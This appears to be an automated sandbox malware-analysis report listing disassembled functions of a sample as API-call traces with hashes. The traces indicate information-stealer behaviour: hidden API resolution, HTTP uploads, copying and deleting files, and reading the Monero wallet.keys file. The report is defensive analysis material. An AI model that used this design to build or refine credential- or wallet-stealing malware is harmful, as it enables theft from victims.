GetProcAddress.KERNEL32(74DD0000,02DBEDA0), ref: 0041604E
GetProcAddress.KERNEL32(74DD0000,02DBEC68), ref: 00416066
GetProcAddress.KERNEL32(74DD0000,02DB5E20), ref: 0041607E
GetProcAddress.KERNEL32(74DD0000,02DBED10), ref: 00416097
GetProcAddress.KERNEL32(74DD0000,02DBEC98), ref: 004160AF
GetProcAddress.KERNEL32(74DD0000,02DB5E60), ref: 004160C7
GetProcAddress.KERNEL32(74DD0000,02DBECB0), ref: 004160E0
GetProcAddress.KERNEL32(74DD0000,02DB5E80), ref: 004160F8
LoadLibraryA.KERNEL32(02DBEDB8,?,004136C0), ref: 0041610A
LoadLibraryA.KERNEL32(02DBECC8,?,004136C0), ref: 0041611B
LoadLibraryA.KERNEL32(02DBED40,?,004136C0), ref: 0041612D
LoadLibraryA.KERNEL32(02DBEE48,?,004136C0), ref: 0041613F
LoadLibraryA.KERNEL32(02DBED58,?,004136C0), ref: 00416150
GetProcAddress.KERNEL32(75A70000,02DBED70), ref: 00416172
GetProcAddress.KERNEL32(75290000,02DBEDD0), ref: 00416193
GetProcAddress.KERNEL32(75290000,02DBEF50), ref: 004161AB
GetProcAddress.KERNEL32(75BD0000,02DBEED8), ref: 004161CD
GetProcAddress.KERNEL32(75450000,02DB5EA0), ref: 004161EE
GetProcAddress.KERNEL32(76E90000,02DB6B10), ref: 0041620F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00416226

Strings

NtQueryInformationProcess, xrefs: 0041621A

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction ID: 1024ce913f91588aaf476b7e35ab3ad31cc185c195c2877b0ef9f81f7e935ec9
Opcode Fuzzy Hash: 4bf4faa6d80337b6a8c58e308678245154ae8b5c2676724c8d6fcdc68551e2bc
Instruction Fuzzy Hash: 4CA16FB5910E10AFC374DFA8FE88A1637BBBBCC3117116519A60AC72A0DF759482CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404DC0 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

lstrlen.KERNEL32(00000000), ref: 00404E4A

Part of subcall function 004155A0: CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FF4
HttpOpenRequestA.WININET(00000000,02DD4AC0,?,02DDB670,00000000,00000000,00400100,00000000), ref: 00405058

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,02DD4BB0,00000000,?,02DD86C0,00000000,?,0041E098,00000000,?,00410996), ref: 004053EB
lstrlen.KERNEL32(00000000), ref: 004053FF
GetProcessHeap.KERNEL32(00000000,?), ref: 00405410
HeapAlloc.KERNEL32(00000000), ref: 00405417
lstrlen.KERNEL32(00000000), ref: 0040542C
memcpy.MSVCRT ref: 00405443
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 0040545D
memcpy.MSVCRT ref: 0040546A
lstrlen.KERNEL32(00000000), ref: 0040547C
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405495
memcpy.MSVCRT ref: 004054A5
lstrlen.KERNEL32(00000000,?,?), ref: 004054C2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004054D6
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00405501
InternetCloseHandle.WININET(00000000), ref: 00405565
InternetCloseHandle.WININET(00000000), ref: 00405572
InternetCloseHandle.WININET(00000000), ref: 0040557C

Strings

", xrefs: 00405278
", xrefs: 004053BA
------, xrefs: 0040506B
", xrefs: 00405136
------, xrefs: 004052EF
------, xrefs: 004051AD
------, xrefs: 00404F4B
--, xrefs: 00404F34

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2633831070-2774362122
Opcode ID: eb1f6889b303b252f6f4641de31c01c0675c99437f62f737066bf8526d24e59c
Instruction ID: 5eac6181e64dcc8a416a420aa9bf91bf90c69560f183aa6c55bc1ab780bc5ff6
Opcode Fuzzy Hash: eb1f6889b303b252f6f4641de31c01c0675c99437f62f737066bf8526d24e59c
Instruction Fuzzy Hash: 55324375920218ABCB14EBA1DC51FEEB779BF54704F40419EF10662091DF38AB89CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 004056A8
StrCmpCA.SHLWAPI(?,02DD4B40), ref: 004056C3
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405843
lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,02DD4B10,00000000,?,02DD86C0,00000000,?,0041E0D8), ref: 00405B1E
lstrlen.KERNEL32(00000000), ref: 00405B2F
GetProcessHeap.KERNEL32(00000000,?), ref: 00405B40
HeapAlloc.KERNEL32(00000000), ref: 00405B47
lstrlen.KERNEL32(00000000), ref: 00405B5C
memcpy.MSVCRT ref: 00405B73
lstrlen.KERNEL32(00000000), ref: 00405B85
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405B9E
memcpy.MSVCRT ref: 00405BAB
lstrlen.KERNEL32(00000000,?,?), ref: 00405BC8
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405BDC
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405BF9
InternetCloseHandle.WININET(00000000), ref: 00405C5D
InternetCloseHandle.WININET(00000000), ref: 00405C6A
HttpOpenRequestA.WININET(00000000,02DD4AC0,?,02DDB670,00000000,00000000,00400100,00000000), ref: 004058A8

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00405C74

Strings

------, xrefs: 00405746
-A, xrefs: 00405620, 00405D27, 00405623
", xrefs: 00405985
------, xrefs: 004058BB
------, xrefs: 004059FC
", xrefs: 00405AC6
-A, xrefs: 0040566F, 00405D14, 004056F7, 00405700, 0040576E, 004057E5, 004058E3, 00405A24, 00405771, 004057E8, 004058E6, 00405A27

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A
API String ID: 148854478-602752961
Opcode ID: 6d8d36d733c2142abc0d7188ab471006d74d3181a15e87d5f438c8fe10b9b8f5
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: 6d8d36d733c2142abc0d7188ab471006d74d3181a15e87d5f438c8fe10b9b8f5
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,?), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 559df53b7e61af3dc6c9d75d23e1ae59ed878b13e97e0fb3aeb939cde4af0798
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: 559df53b7e61af3dc6c9d75d23e1ae59ed878b13e97e0fb3aeb939cde4af0798
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02DD8780,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,?), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 630431ba0f5970a3f182b79e243da3d33345cadf6d5dccb7fb23c7f056950740
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: 630431ba0f5970a3f182b79e243da3d33345cadf6d5dccb7fb23c7f056950740
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,02DD4B40), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,02DD4B00), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,02DD4AC0,?,02DDB670,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

------, xrefs: 004047E8
", xrefs: 004048B2
", xrefs: 004049F3
------, xrefs: 0040467D
------, xrefs: 00404929

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 9ceb081193b540695eb744a0b8de6c3f50852848084943ace3509c31cdc68199
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: 9ceb081193b540695eb744a0b8de6c3f50852848084943ace3509c31cdc68199
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,02DBE960,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

%s\%s, xrefs: 00414BEA
?, xrefs: 00414B17
- , xrefs: 00414D40

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 2e2bbbdc1526f58ea116e006fa0897c884265992f2eeac4e7b38cfa1bc65f0d6
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: 2e2bbbdc1526f58ea116e006fa0897c884265992f2eeac4e7b38cfa1bc65f0d6
Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 9526901f28cebe3c540eb7d2c6ca340306e51f4f83b93051d483c5c098366aa3
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: 9526901f28cebe3c540eb7d2c6ca340306e51f4f83b93051d483c5c098366aa3
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02DD8780,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,?), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9

Strings

wallet_path, xrefs: 004012F0
\Monero\wallet.keys, xrefs: 0040134D
SOFTWARE\monero-project\monero-core, xrefs: 004012F5
.keys, xrefs: 0040132B

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

